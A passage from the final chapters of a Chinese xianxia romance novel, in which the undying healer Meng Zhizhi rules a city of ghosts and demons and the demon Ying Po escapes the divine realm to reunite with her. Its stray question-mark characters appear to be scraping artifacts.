铁炼真君道:“不可能!那些都是低贱的妖邪,除魔卫道,天经地义,你给他们下蛊了?!” 孟枝枝冷笑一声,上前拧住他的衣领,道:“就是你口中这些低贱的妖邪救了你们的弟子,接纳他们成为家人。你身为他们的师长做了什么?让他们跟随你的仇恨去战斗,无辜丧命,到死都等不到你回头看他们一眼。在你眼中,他们的命算什么?” 望凝君道:“道友们,这孟芷是要把我们逼进死路,既然出不去,我们反抗一把,杀了孟芷和这些鬼邪,城就是我们的了!”他一言既出,十几个修士虎视眈眈地看着孟枝枝。 铁炼真君冲锋道:“杀了孟芷!” 他用头撞击了孟枝枝的头,孟枝枝后退几步,被水鬼稳住身形,铁炼真君掏出一把匕首,捅进了孟枝枝的胸膛中。 孟枝枝面色不改,她站直了身体,铁炼真君神色一变。 她双唇微张,道:“忘了告诉你们,我早死过?几次,得女娲一族庇佑,如今成了不死人。既然你如此执迷不悟,那就去死吧。” 一道红影闪过?,铁炼真君的喉咙被割破,他撑大?双眸,死死盯着孟枝枝,最?终倒地而亡。 孟枝枝冷冷地看着众人。 剩下的修士们全部胆寒,这天下竟然有不会死的人? 上元夫人此时道:“我愿归降城主大?人。城主,我愿意用我这一身法?术为城中百姓效力。” 孟枝枝道:“水鬼大?人,给她解开吧。” 水鬼听令,上元夫人起身站到了孟枝枝的身边。 孟枝枝对剩下的人道:“你们当如何?” 众修士面色惨白?,终究匍匐在地,对孟枝枝叩首以拜。 完结+番外 第91章 第 91 章 孟枝枝道?:“水鬼大人, 就由你来安排他们?做什么?吧。” 她抬脚往外走,水鬼大人跟上。 她胸口?淌着血,也不医治,水鬼叫住她道?:“城主大人。” 孟枝枝道?:“我不是城主, 水鬼大人。” 水鬼跪在地上, 道?:“女仙大人留我一命, 我水鬼不是不知事理之人。女仙大人看出仙魔纷争不会停止, 高瞻远瞩, 守下这一方妖邪,女仙大人对我们?而言有救命之恩。属下当初侍奉鬼王苍玥,继而侍奉凌恒魔君,我水鬼认可女仙大人。多?谢女仙大人将凌恒魔君送入神域。” 孟枝枝道?:“你不恨我?” 水鬼道?:“属下知道?,女仙大人是想魔君活下去。您给了他一条生路。” 孟枝枝道?:“鬼邪向来厌恶修士, 还有不少鬼邪嫉恨我让他们?失去了主人,你却认可了我的做法。” 水鬼道?:“女仙大人以为我鬼族个个都只知嗜血杀人吗?我随苍玥殿下活了数百年,也下过人界,人世间的纷纷扰扰我看得?太多?,女仙大人用心良苦, 愿意治疗我, 还让我鬼邪也有一方天地容纳。如今这个结果, 属下很满意。” 孟枝枝沉默一会儿,道?:“水鬼大人, 能不能给我讲一讲鬼邪一族的历史。” 水鬼眼中欣喜,道?:“女仙大人,请。” 孟枝枝随他而去。 她与?水鬼一交谈便是大半天, 夜晚才归家?。 云庭见她胸口?有伤,立马迎了上去, 道?:“怎么?回事!” 孟枝枝道?:“我杀了铁炼真君。” 云庭掏出丹药,道?:“快服下。” 孟枝枝道?:“他想杀了我,可我不会死,就杀了他。其他修士已经归服,愿为城中子民。哥,你会怪我吗?” 云庭道?:“芝芝,在我心中,你是最重要?的。我相信你的决定。” 孟枝枝接过他手中的丹药服下。 云庭扶住她道?:“你要?好?好?休息,照顾好?自己?的身体?。” 孟枝枝道?:“我不会死。” 云庭看到她眼下的青□□:“你是不会死,可是你太累了。芝芝,难道?你还想着他吗?” 孟枝枝一言不发。 云庭知晓她心中痛楚,道?:“你还有我,还有城中那些关心你的人,再说你不是说过吗?你还要?等你师父回来。芝芝,你要?撑住,算哥求你。” 孟枝枝突然抱住他,哭出声来。 云庭一愣,手放到她的背后?轻轻拍道?:“哭吧,哭过之后?就好?了。芝芝,哥永远不会离开你。” 神域之中,海面上一个小小的人影不断游,可是大海太过无边,他怎么?都游不到尽头。 赢破渐渐体?力不止,沉了下去。 突然一阵狂风将他送了回来,他像个落水狗般坐在风绒面前。 风绒道?:“神域无界,你这样是出不去的。” 赢破湿发落到肩上,暴躁道?:“我是魔,你留下我也无用,神魔向来对立,送我出去!” 风绒面容柔和,道?:“谁说神魔向来对立?” 赢破愣住。 此时,天上青龙盘旋,道?:“神女大人,有两个人随赢氏之子误闯神域,雷公电母十分生气,正要?对他们?行刑。” 风绒目光落到赢破身上,道?:“随我去一趟。” 话?音刚落,二人皆消失原地。 赢破再一睁眼,就发现自己?站在一个宫殿之上,这个宫殿无比巨大,台阶足有半米高,顶部宛如苍穹,每根柱子皆是一个巨人,他们?正手撑着顶,看向赢破的目光十分不虞。 殿上站着两人,雷公手拿锤钻,电母手拿着两面镜,神情威严。 电母道?:“风绒神女,我夫妻二人尊您为女娲一族,女娲曾与?夸父、伏羲大帝开辟天地万物,可如今你私自下山不说,还带了外人进入神域,这二人没有成神的资格,必须死!”她手中两面镜一照应,闪电从镜中射了出来。 闪电打到贤剑真君与?鬼仙跟前,风绒一挥袖,闪电又收回到了两面镜中。 雷公怒道?:“你还要?护着这二人?若不是他们?,天下怎会因神印再起纷争!何况此二人杀孽太重,不思悔改,当以死刑处置。” 风绒道?:“女娲一族创造万物生灵,但万物生灵自有其法则,这个世界的运转早已不归我神族管理。无论是人、是妖、是鬼还是魔……” 她注视着赢破,继续道?:“皆是女娲之子。” 鬼仙抬首,道?:“我不想死,我要成仙!你说我鬼族也是女娲之子,但凭什么?下界以人为尊,我鬼族就要?困守在那极恶之地,自相残杀,这天道?不公!” 风绒看向鬼仙,那双眼睛似乎什么都知晓,二人一对视,愤怒的鬼仙顿时面部变幻,逐渐回归平静。 风绒道?:“你认为什么?才是仙?拥有强大的力量,还是进入神域就算是仙?如果你认为二者皆是,那你已经是仙了。” 鬼仙似大梦一场,哈哈大笑起来,道:“原来如此。” 他跪在地上,对风绒叩首道:“母亲大人。” 风绒嘴角淡淡一笑。 贤剑真君此时道?:“我不要?成仙,我要?木儿回来,恳求大地之母,将木儿还给我!” 风绒道?:“无真,她回不来了。” 贤剑真君道?:“你可是女娲上神,你见过木儿,木儿她心地善良,一心正道?!你既然能救得?回她的徒儿,为什么?就不能救回她!” 风绒抬头道?:“世界万物以一气流通,既有诞生,必有消亡,就算是神也难逃一劫。我给过孟慕华选择,她的选择一直坚定,她知道?自己?的宿命,也知自己?该做什么?。无真,你所?求的究竟何谓?” 贤剑真君眼中突现那场大雪下,孟慕华抱着襁褓中的孟芷。 “如此,那便是我的命。” “求仙人救救芝芝!就算要?我的命也可以!” “只要?能救她,我愿意。” 贤剑真君一瞬脱下脸皮,显露出原本?的面貌,那是一张俊雅的脸,可惜脸上有一道?深深的刀疤,如同蜈蚣蜿蜒盘旋。 他双肩往下一沉,失魂落魄。 他突然意识到他早就失去了木儿,自从那个分别的夜晚之后?,她就厌倦了一切。 他让她手上沾上了鲜血,他不禁看向了自己?的手。 如果不是遇见了孟芷,如果不是遇见了风绒……木儿,你决心想死在那个雪天吗? 赢破此时道?:“他们?杀了不少无辜的人,你身为女娲,就这么?放过他们??” 风绒回头看他,道?:“你想论错,天下之人谁不犯错,若要?严格按照此律,这世间万物都是吸食他物生命才能生存下去。植物吸食阳光、水与?空气,动物吸食植物,而人也吃动物。再谈你,你也杀过人,害过人。那皇城之中的百姓有部分因你与?修士之争而亡,孟芷的命也因你而改变,同样的问题,我也想问你,赢破,你所?求的究竟何谓?” 赢破渐渐冷却了一张脸。 风绒对雷公电母道?:“此事我已说清,我要?回山了。” 鬼仙此刻跪拜道?:“吾愿常伴母亲大人左右。” 风绒颔首。她现出蛇尾,长袖一挥,鬼仙随她而去,回到仙山。 青龙现身,尾巴一摆,将赢破也打回女娲山上。 离开之前,赢破看见贤剑真君宛如被勾了魂一般,目光呆滞,头发瞬间苍白?,他的道?心已破,命不久矣。 回到女娲山上,风绒滑行到一处空地。 此处有一方石台,上面摆放着泥土捏做的人偶,那些人偶形态怪异,脸也崎岖不已,赢破早已看了数遍,这些泥人压根与?人界地生灵相差甚远,然而风绒还在耐心地捏制。 他道?:“我要?下界。” 风绒双手沾着泥土,全神贯注在捏泥人身上。再一看鬼仙已经自觉当起了奴仆,开始挖土运水。 见两人跟个死人一样,赢破心中火气横生。他转过身,又往大海深处游去。 鬼仙将泥土安置在石台上,道?:“不管他吗?” 风绒道?:“他知不行,自会放弃。” 她刚又捏出了一个泥人,泥人让阳光一晒,顿时周身现出光辉,然而那光辉落下,泥人还是那个泥人。 风绒轻轻叹息一声,又拾起新的泥土重新捏。 赢破在寒冷刺骨的海水中游,游到力竭,又被一阵狂风送回山上。 他瘫倒在地,浑身湿漉漉的,这神域太大,这里的山川比起人界的山川大上千倍不止。 此时有什么?东西从天抛落,赢破接住,发现是红彤彤的果子。 他仰头看去,在阳光的照射下,风绒已爬上树,蛇尾缠绕树枝,嘴里正嚼着和他一样的果实,她正抬头望向远处,眸色清淡。 他将果子迅速吃下,又往那海水中游去。 …… 又是数月过去。 孟枝枝提着药箱刚从一户人家?出来,水鬼正在屋外等她,一人一鬼相伴而走,嘴里说着什么?。这副场景,城中的居民早就习以为常,时不时有人朝孟枝枝打招呼,孟枝枝笑着挥了挥手。 蓝倾从他们?身旁擦肩而过,他手中正提了两坛酒,往云居的方向去了。 云庭正捏决,手中无尘剑飞舞,旁边落下一摞摞柴堆。 云庭抬头一看,就见蓝倾到来,便收回了剑。 两人坐在桌前,云庭从蓝倾扫视一周,发现此处多?了不少变化,院中升起藤曼支架,上面长出了颗颗晶莹剔透的绿色葡萄,一旁的田地里已经长出葱葱绿苗,庭院中还有一个木制的秋千。 庭院大门上挂着一个牌匾,上面刻着“云居”二字。 蓝倾将两坛酒放在了桌上,道?:“云居是你写的吧,你有问过你妹妹的想法?” 云庭从小厨房里端来了菜,道?:“芝芝说都随我,本?来芝芝就姓云,她唤云芝,芝是灵芝的芝。当初她出生之时,浑身雪白?,逢人不爱哭只爱笑,甜美可爱,于我而言,她如山中灵芝珍贵,我便为她取名云芝。” 蓝倾笑道?:“你这哥哥可真是霸道?,来,喝酒。” 云庭举杯,一仰而尽。 蓝倾道?:“这些日子,她与?鬼族走得?是不是太近了?我几次撞见她与?那水鬼交谈,她还没放弃那个魔头?” 云庭将酒杯顿在桌上,道?:“我只要?她开心。只要?那些鬼族不害她,不伤人,我可以视而不见。” 蓝倾知他想起了往事,道?:“都说鬼邪凶残狠厉,那水鬼等能在这城中安分如己?,反而那些仙族老人蠢蠢欲动,几番闹事,这也是我想不到的事。不过人心难测,总有些人想出去,你当真愿意一直留在此地?如果你返回千霄宫,倒是能重振仙门正风,你……” 云庭打断了他的话?语,道?:“我知你所?言,但我只想留在芝芝身边,好?好?弥补她。这天下纷扰从未停止过,过了这么?多?年,对我而言,家?人才是最重要?的。蓝倾,你过去看似不参合尘世中事,但我知道?你一直都默默关注着,用自己?的力量在维系人妖两族之间的和平,你如果想出去,我支持你。” 蓝倾微愣住,忽而嘴角一翘,道?:“竟被你看穿了。” 他抬起一坛酒,不由分说,灌进喉咙。 云庭为他布菜,道?:“喝酒前吃点东西垫垫,这样对胃好?。” 蓝倾道?:“你这说话?的语气也跟孟芷一样,你们?真不愧是兄妹。来,陪我一块喝酒。” 等孟枝枝回家?,就看见云庭与?蓝倾勾肩搭背,两人酒气上头,一口?一个兄弟,一看就是喝醉了。 蓝倾脚步颠簸,道?:“今日我就不打扰了,来日我们?再喝。” 云庭伸手道?:“好?!”他作势要?倒。 孟芷连忙扶住云庭,用目光远送蓝倾。 她将云庭扶到庭院中的一把摇椅上,用沾湿的帕巾为他擦脸。 云庭睁着那双亮晶晶的眼睛,道?:“芝芝,你在我身边,真好?。” 孟枝枝头疼,道?:“哥哥,你应该少喝点,酒喝多?了很伤胃的。” 云庭道?:“我心中高兴。芝芝,我也希望你高兴。” 孟枝枝浅浅一笑,道?:“恩。” 第92章 第 92 章 女?娲山外, 湛蓝的海水上倒映着日辉,一个人影在水中翩若游龙。 赢破从水中跃起,坐在岸边,手中拿着一枚桂花香囊, 陷入沉思。 只听后面一声炸声, 他循声而看。 就见风绒脸上、身上被溅满泥泞, 鬼仙想为她擦拭, 风绒道?:“不必了。” 她滑动着蛇尾, 坐在了巨石之上,望着那一圈圈泥人,没有动作,表情却十分执拗。 赢破呆了不少?日子,早已发现这?位女?娲神女?每日都在造泥人, 可偏偏没有一个泥人造化成功,她还?在执着于?此。 他出言讥讽道?:“女?娲竟然不能造人。” 风绒坦诚道?:“是,我虽为女?娲,但早已不能像古神一般捏泥造人。” 赢破道?:“你离人世早已太久,在这?神山中固步自?封, 没有看过真正的人是如何, 你又怎么能捏土造人?” 风绒蛇尾一顿, 似乎眼中出现了另一人相同的话语。 “女?娲不能捏土造人,真是天?大的笑话。你应该看看这?世间真正的人是如何, 哪有像你这?般刻意雕琢,毫无灵气?。” 风绒来到赢破身边,道?:“我不能出神山。” 赢破道?:“可你不是曾出去过, 还?救了孟芷。” 风绒道?:“那是因为我有事要做。” 赢破道?:“什么事能惊动你刻意下山一趟,你既然已经破例一次, 为何不能破例第二?次。这?山到底是你居住之地,还?是困束你的牢笼?” 风绒道?:“你是想借此机会让我送你出神山?” 赢破道?:“是,我没有一日不想下去。” 风绒道?:“为什么?”她实在不解。 她手指轻点,幻化出一个人。 赢破睁大了眼睛,看见孟枝枝朝他走?来。但很快他眼中的光熄灭,手势一起,手中魔气?将那“孟枝枝”摧毁殆尽,那“孟枝枝”又变成一堆泥潭。 他气?道?:“她不是孟芷!你休要拿一个假人来侮辱我!” 风绒若有所?思,道?:“你爱她,所?以你能分得清真假。难道?是因为我创造的泥人没有感情,所?以没办法?成为真正的人吗?” 她又投入到那堆泥人之中,重新捏造,但依然失败了,眼中流露出可惜的情绪。 赢破心中更气?,道?:“你在这?山中居住数千数万年,不知人情世故,你能懂什么是人的感情?能懂什么是爱?” 鬼仙一听,道?:“你放肆!母亲大人,千万别听他胡言乱语,此人偏执成狂,他只想下界,才故意惹怒您。” 赢破怒极反笑,这?鬼仙仿佛被风绒洗脑一般,以她马首是瞻。 鬼仙看他如此不敬,便想给他一个教训。 风绒叫住了他,对赢破道?:“我曾在人界遇到了一个鬼女?子,他们称呼她为鬼王苍玥,她和你说过类似的话。” 赢破眼神一滞,缓缓开口道?:“她是我母亲。” 向来云淡风轻的风绒眼中终于?有了动容,她仔细看着赢破的面容,眼中迸发惊奇的光,道?:“她竟然真的做到了。你长得和她很像。” 她围着他转,仔仔细细地打量着他,令赢破皱起眉头。 赢破不想搭理她,转而又投入那海中。风绒看见他的身影很快,如织梭般,一闪而过。 鬼仙来到风绒身边,小心翼翼道?:“母亲大人?” 风绒转过身,道?:“你可知道?苍玥?” 鬼仙道?:“人世间的事,我都知晓,不知母亲大人想问?关于?她的什么事?” 风绒想起那个满身红衣的女?子,苍玥宛如还?靠在窗台前,对她娇俏地眨眼,对她勾着手。 “你是从哪里?来的?你真是胆子大,一个女?子独身前来这?荒山中,就不怕遇见鬼怪?” 红衣称得苍玥娇颜更加艳丽,她就像黑夜里?一朵盛开的红色罂粟花,举手投足神秘而危险。 风绒道?:“所?有。她所?有的事,我都想知道?。” 那一刻,鬼仙看到风绒眼中闪着奇异的光,那是他从未见过的一面。 赢破几乎游到力竭,他从海水中探出头,看见仙鹤在离他十丈处飞舞,翅膀扇出一阵又一阵强有力的风,都在驱赶他回神山。 他冷了眼睛,用魔气?朝天?一轰,一只仙鹤掉落下来,成了落水鹤,其他仙鹤唧唧呱呱乱叫起来,一哄而散,谁也不敢上前。 赢破一把掐住那仙鹤的脖子,掉头游回女?娲山中。 赢破捡来柴火,升起火苗,架起了锅,磨刀霍霍。 那昏迷的仙鹤顿时吓醒,大叫着:“救命啊!” 风绒赶来,正见赢破要拔了那仙鹤的毛,她喊道?:“住手!” 赢破手一顿,那肉质紧实的仙鹤顿时化作一位头顶红色头发的小胖子。 小胖子在地上蠕动,就像一只毛毛虫,朝风绒爬去。 风绒不解道?:“你怎么得罪他了?” 小胖子哭道?:“不是我想赶他的,是青龙使者吩咐我们看住他,不许他在神界乱跑。” 风绒手一挥,解掉小胖子身上的绳子,道?:“从今之后,你们不用管他,回去吧。” 小胖子匍匐在地,行了一个礼,顿时?又化身成仙鹤,飞往天?际。 赢破依然在磨他的刀,那刀是一片巴掌大的鱼骨,随着他的动作,那长到齐背的碎发也跟着晃动,几天?皆是如此。 他没有去渡海了,难道?他知道?不行,已经选择了放弃? 风绒想得有些头疼,索性不再多想。 这?日天?一亮,赢破的身影又不见,遥遥能在海面上看到一个人的影子。 赢破在海中,抬头看着天?空飞行的仙鹤。 他看得无比仔细,突然他使出手中的鱼骨刀,击中了其中一只仙鹤。 仙鹤扑扇着翅膀,大喊道?:“怎么又是你!” 赢破掐住了它的脖子,低沉道?:“别乱叫,引来了旁人,我就杀了你。” 仙鹤吓得不敢动弹。 赢破凑近道?:“我有一事要问?你,你要老老实实答,懂?” 仙鹤点头,安静如鸡。 赢破道?:“风绒当年下人界是为了什么?” 仙鹤道?:“是雷公电母!他们夫妻有时?会吵架争论,引发天?雷滚动,结果有一次发出的雷电不小心砸穿了女?娲山,风绒神女?下界寻五彩石补山了。” 赢破道?:“只因为此?” 仙鹤道?:“此事神界人人皆知。你、你想干什么?” 赢破将指尖插进了仙鹤的血肉之中,他将自?己的血灌了进去,道?:“此事你无需多问?,胆敢让他人知晓,我刚刚在你体内注入的毒,会让你瞬间毙命。” 他松开了手,仙鹤颤抖地立马飞到空中。 赢破看着它越飞越高,远离了大海,他闭上了双眸,感觉到自?己的血液在仙鹤体内流动,他借它的眼将整个海域一览无余,数座神山伫立于?海中,远处还?有层层宫殿巍峨耸立。 他缓缓睁开了眼,魔气?从眼眶中逸散开来。 女?娲山中,清气?疏朗,石台上的泥人沾着水痕,散发着亮光。 鬼仙对风绒讲起了苍玥的事。 风绒听到她入人界,与人界皇帝诞下赢破,而后遭受天?谴,身魂俱灭,但诞下的赢破与常人面容无疑,只是血肉有异,遗传了鬼族自?愈的能力,还?缺少?了一颗心。 风绒听得走?了神。 鬼仙道?:“母亲大人?” 风绒道?:“我在听。” 鬼仙道?:“母亲大人曾与苍玥见过?” 风绒道?:“有过一段缘分。”剩下的,她一句也未提。 只见赢破从不远处走?来,拿起石台的一只泥人,用鱼骨在上面刻画。 风绒一见,那泥人与孟枝枝的神情、容貌十成十的相似。 她兴趣来了,道?:“你是如何刻画出来的?” 她所?造的泥人形似,却始终少?了神韵。 赢破手中鱼骨刀未停,道?:“她在我心中,一举一动我都记得。” 风绒似有感慨。 赢破雕刻好?,就将那泥人放在石台上。 风绒目光在那泥人身上久久没有离开。 赢破的头发从齐背渐渐到了齐腰,又从齐腰落到了臀下。他日复一日刻着孟枝枝的泥人,喜怒哀乐,各种神态,堆满了石台。 这?天?,天?边现出万丈惊雷。 赢破终于?停下手中的鱼骨刀,他紧盯着天?边。 突然他陡然踏空而上,以自?身为引,将那惊雷灌引到女?娲山上。 嘭——嘭——嘭—— 女?娲山上的仙兽们吓得乱作一团。 仙兽们叽叽喳喳道?:“雷公电母又劈坏了女?娲山!风绒神女?又要生气?了!” 风绒从山洞中现身而出,一挥袖,原本乌云密布的女?娲山顿时?变得清明。 赢破从天?上掉落下来,狠狠砸在了地面上。 风绒看他一身伤痕,心中明了他是故意的,道?:“你还?是没有放弃。” 赢破支起半身,往地面吐了一口鲜血,他擦了擦嘴角,笑道?:“是啊。” 风绒看着那女?娲山从山腰被劈开了半截,叹了口气?。 赢破道?:“你心中执念想要学古神造人,但你在神界呆得太久,你不知道?什么叫做人,你虽然下过界,也救了孟芷一命,却从未想过真正去了解人是什么。你一日复一日地在山中造人不得成功,难道?你想再这?样徒劳无功数千年,乃至万年吗?” 风绒看他许久,道?:“你不是女?娲,你又如何知道?怎么造人?” 赢破道?:“不然你如何解释你屡次失败?连我都能看出你造出的人假劣不堪,换成任何一个凡间的普通人一样能看得出。” 风绒转过身去,蛇尾甩到了赢破身上,将他又压回了地面,一言不发地离开了。 他似乎将她激怒了。 赢破躺在地上宛如死鱼一样,双目睁圆。 月升月落了多少?次,他便在地上躺了多久。他早已失去了时?间的概念,他不知道?孟芷如何了,她是不是已经忘记了他。 他伸出手,想去触摸那天?空的月亮。 他想她了,想得快要死掉。 第93章 第 93 章 雷公电母来到?女娲山, 为了毁坏女娲山一事。 电母道:“鬼王之子居心叵测,故意?将我与雷公争吵时的天雷引到?女娲山上,神女,请将他交出来, 由我夫妻二人处置。” 风绒道:“你们要将他如何??” 电母道:“自然是杀之, 他本就是逆天而行?的产物, 又犯下?损坏神山的重罪, 罪不容恕!” 风绒道:“杀了他, 事情?就能解决了?他身上带着我族的神印,已经?是我女娲山的人。” 雷公看风绒有意?为赢破求情?,道:“神女,我自知女娲一族慈悲心怀,视天下?万物皆为亲子, 可是神山代表着女娲一族的威严,他这般做法,大逆不道,已然是不将您放在眼中。” 风绒抬头望山,道:“你们不修复我的山, 反倒匆忙要处理?我女娲山的人, 雷公电母, 是觉得我这个女娲之位坐得不实了?” 电母立马掏出一块散发着五彩的石头,道:“当初神女下?界寻五彩石补山, 我与雷公寻遍神界也找到?了一枚五彩石,还请神女息怒。” 风绒看那石头,听他们讲自己下?界之事, 心中顿觉冒犯,道:“你们夫妻二人每百年必有一争, 这点石头够吗?” 电母一时哑声。 雷公道:“神女想如何??” 风绒道:“石头留下?,他交由我处置。我乃大地之母,亲手?教育自己的孩子总没问题吧?” 雷公电母还想再谈,风绒一甩蛇尾,将二人彻底推离女娲山。 她走到?山中,见赢破还躺在那个深坑之中。 她道:“上一世,她与你同归于尽,你不愿放她去?神界,就将她吞于腹中,直至你们二人融为一体,神印让你长出了一颗心。她带着记忆转世,你带着这颗心再次与她相逢,她却?接受了你,有心或者无心相差竟如此之大,泥人与人的差别在这颗心吗?” 赢破张开双唇,道:“我不是上一世的赢破,虽然我有关?于他的全部记忆,但与孟芷相逢在前,恢复记忆在后。当我回想起那一切,我也从未觉得那是我的经?历。对?我而言,与她初遇是她递了烧饼给我,是我偷了她的剑,是她将我打?落树下?。” 风绒感到?十分?困惑,她许久没有这般的感受,这超出了她的认知。 她遥遥看去?,海面风平浪静,神界的山川水流,万年如此,从未变幻。 石台上不知道什么时候堆满了关?于孟枝枝的泥人,比她所做的泥人还要多,它们个个神态生动,栩栩如生,似乎孟枝枝就在眼前。 她终于开口道:“人究竟是什么?” 赢破道:“听别人说答案你就能真?正明白?你下?界亲眼看看不就知道了?”他嘲讽之意?一如往常。 “好。” 赢破眼神一顿,道:“我们什么时候下?界?” …… 一听闻神女又要下?界,大大小小的神仙纷纷堵在女娲山山口,希望风绒打?消念头,然而风绒从山后绕路,提着赢破的肩头,飞往下?界。 赢破的脚再次踏在人界的土地,他四顾寻找。 过路之人看着他与风绒一身着装,都用怪异的目光看着二人。 赢破察觉到?人界已过数年,衣着已经?完全与那时不同。 他施展法术,给二人换了个衣服。 当初孟枝枝倒灌阵法,南元国的皇都如今已经?变成了妖族、鬼族的栖息之地,被隔离在无尽海之外,这里四处都能见到?妖怪的后代。 “你这呆猪,输了就耍赖,谁还跟你玩儿啊,你妈叫你赶紧回家吃饭,懂吗?” “你这泼鬼猴,我跟你拼了!” 一妖猪一鬼猴当街打?了起来,然而周围的人都在看乐子,似乎并不觉得这样的打?斗有什么问题。而那一妖一邪,拿头互撞对?方肚子,打?到?激烈之处,旁人拍手?起哄。 赢破擦肩而过,一路询问。 “你是来找女仙大人的?我怎么见你如此眼生,你是平安城中的人?”一个挑担的狼大叔用提防的眼神看着赢破。 赢破面不改色道:“是。” “不对?,平安城里谁我不认识!外人怎么能随意?进得来平安城?你到?底是谁,是怎么混进平安城的!”那大叔步步后退,拿起扁担放在胸前,他刚要大喊,赢破立刻将他定住,往他眼睛上一抹。 大叔眼神变得迷茫,手?中的扁担落下?。 “孟芷在哪儿?”赢破双唇微动。 大叔一字一句道:“云、居。” “云居在哪儿?” “往东走,尽头就是。” 赢破一个转身,顿时消失在眼前。 狼大叔眼中渐渐清明,看着地上的扁担,他咦了一声,晃了晃头,继续挑着热乎乎的豆腐脑继续叫卖起来。 赢破一直走到?东边尽头。一座小院陡然出现在眼前,绿油油的藤曼缠绕着栅栏,紫色的葡萄晶莹剔透挂在枝头,淡淡的药草香沁人心脾。 一阵轻轻的哼声传来。 他顿时浑身血液倒流。 紫纱披帛随风而飘,一位女子正荡着秋千,双脚微荡。 “孟芷。” 孟枝枝以为自己幻听了,她停下?秋千,转头看去?。 这一眼,令她呆愣在原地,清风浮动,雪白的发丝飘动。 赢破冲到?她跟前,她的面容一如当初,但她满头头发已化作银白色,宛如白雪一样。 他声音微哽,道:“我来了。” 孟枝枝霎时间笑了起来,眼睛里好似星辰掉落,道:“你回来了。” 赢破一把将她紧紧搂在怀中,身体微颤。 “我想了你很久很久。” 孟枝枝将手?抚在他紧绷的后背,道:“我也是。” “我每一天都在想怎么回来。” “我知道。” “神界的海太大,我怎么游都游不到?尽头,找不到?出口。” 孟枝枝道:“可你还是找到?办法下?界了。” 赢破道:“因为我要见你,你不可以再把我送出去?。”此时的他就像一个小孩儿一样,将委屈之情?倾吐出来。 孟枝枝柔声道:“赢破,这里已经?变了,再也不会有人歧视鬼族。哥哥和蓝倾花了他们毕生的努力,在平安城消除了人、妖、鬼之间的隔阂,已经?过去?很久了。” 赢破道:“你一个人在此地?” 孟枝枝道:“恩。” 赢破眼中陡然一疼。 他离开得太久了,久到?云庭、蓝倾都已经?离世,而她独自一人生活在这里。风绒曾经?救她的时候便下?言她会不老不死,但是她所熟悉的那些人会一个一个离开她。 赢破从嘴角挤出几个字道:“你还有我。” 孟枝枝笑着,眼泪不自禁从眼角滑落。 “恩,我还有你。” …… 平安城中有大事发生,孟女仙成亲了,多了一个夫婿,那夫婿不知从何?而来,来历谁也说不清,脾气还阴晴不定,见谁都脸黑。 许多人都围在云居张望着。 孟枝枝坐在木桌前,今日?是她问诊之日?。 她耐心为人解答疑惑。 见她说得口干舌燥,他端上茶水,打?断了旁人,对?她道:“先喝点茶。” 孟枝枝捧着那热茶,小口小口嘬了起来。 那女病人看着赢破,道:“女仙大人,您这夫婿真?体贴,还俊,我家那口子一点也比不得。” 赢破拿走桌上的单子,转过身去?为孟枝枝挑拣药材去?了。 “哎哟,还只?对?女仙大人温柔,其他女人瞧也不瞧,这样的男人可打?灯笼都找不到?。女仙大人上哪儿捡的这么一个好男人啊!” “翠花,你说什么呢?”女病人身旁跟着她的夫婿,他敌视眈眈着赢破。 什么小白脸,一来就吸引了这么多女人的目光。 “怎么了,还不能让我说两句了!”女病人的嘴被她夫婿捂住,拉回家去?。 一道黑影划过,一包药材飞到?了翠花夫婿手?中。 定睛一看,是赢破抛过去?的。他淡淡道:“一日?三次,餐后服用。” 翠花夫婿脸黑了,拉扯着翠花道:“回家,赶紧跟我回家去?。” 众人都哄堂大笑。 孟枝枝笑了笑,她挽起耳边的发丝,回头看向赢破,发觉他也正在看她,她眼眸温润。 落日?滑向海平线,海面上是霞色的波纹,海鸥群逐嬉戏。 孟枝枝看着远处,赢破从后面抱住她,他将下?巴枕在她的肩头轻蹭。 孟枝枝道:“我好像听见你的心跳声了。” 赢破道:“它一直都在。” 孟枝枝道:“疼吗?” 赢破将她搂紧,道:“想你的时候会。” 孟枝枝道:“那你不要想我啦。” 赢破道:“孟芷!” 孟枝枝笑得眼花冒了出来,道:“别挠我痒痒,我错了。” 她站不稳,往后一仰,赢破重新将她拉入怀中,孟枝枝贴在他的胸口,感受到?那颗心脏滚烫而热烈。 她道:“赢破。” “恩。” “赢破。” “恩。” 她嘴角微翘,搂着他的腰,“我困了,但今晚城里要放烟花。” “睡吧。”赢破召唤来一朵云,两个人躺在柔软的云上。 他嗓子微醺,道:“等会儿我喊你。” 孟枝枝蜷在他怀中,声音越来越小,道:“一定要叫我,别骗我。” 她睡了过去?,赢破用手?轻轻抚摩着她的长发。 他远眺着,怀中是他爱的人,落日?余晖渐渐消失。 烟花升起的那刻,声音劈里啪啦。 孟枝枝被这声音弄醒,她抱怨道:“不是叫你喊我吗?” “孟芷。” 她微微抬头,赢破拉住她的手?,吻了下?来。 唇瓣相碰,火树银花。 他眼中深情?,心脏颤动,她亦如此。 两个人十指紧扣。 再也不会分?离…… (完) 第94章 后记 平安城今日发生了一件大?事, 原本罩着整座城的法阵破了。 城中人心惶惶,去了孟枝枝居住的小?院——云院,却不见?孟枝枝和赢破的踪影。 只?见?一道金色文?字浮现在云院中,原来是孟枝枝留下的信, 告知缘由。 原来, 千年前那些遗留在平安城修士就在暗暗破除法阵, 想要归回仙界。过了一代又一代, 终于?找到了破除法阵的方?式。但孟枝枝告诉他们, 不用太过担忧,平安城中有水鬼和蓝倾坐镇,外人不敢随意侵扰,大?家?可凭自己决定去留。而她也打算随赢破出去见?一见?现在的世界。 有妖怪叹道:“女仙大?人都这?般说了,那便各回各家?, 没什么好担忧的。” 从那一天起,不少妖怪都怀着好奇心,踏出了平安城,想看看外界一方?天地是如?何。 平安城外,山中。 野路上行驶着一匹骡子, 骡子上坐着一个戴着红色帽围的女子, 此人正是孟枝枝。 孟枝枝有几分不耐, 道:“还没到吗?” 赢破正牵着骡子的绳子,他从怀中掏出一个烧饼, 上面有喷香的辣子,递了过去。 孟枝枝眼?睛一亮,啃起那烧饼, 嘴里?嘀嘀咕咕道:“又拿吃的堵我嘴。” 赢破无奈地笑了笑,道:“你不是说想看看外面的世界, 还想走着去。” 法阵破了的那天,孟枝枝正坐在摇椅上,躺在赢破怀中,半晌道:“赢破,我们出去看看吧。” 这?才有他们现在徒步前往曾经去过的地方?。 孟枝枝自知失理,但她这?些日子被宠惯了,有些受不了赢破怼她,道:“但我们已经在山间走了一个多月了,我现在就想去城中找个客栈休息,再说你不想看看现在的皇帝是谁?”她眼?中闪过几分狡黠。 赢破道:“谁当皇帝都无所谓。” 孟枝枝勾下身子,道:“真?的?当皇帝多好,后宫佳丽三千,想使唤谁就使唤谁。” 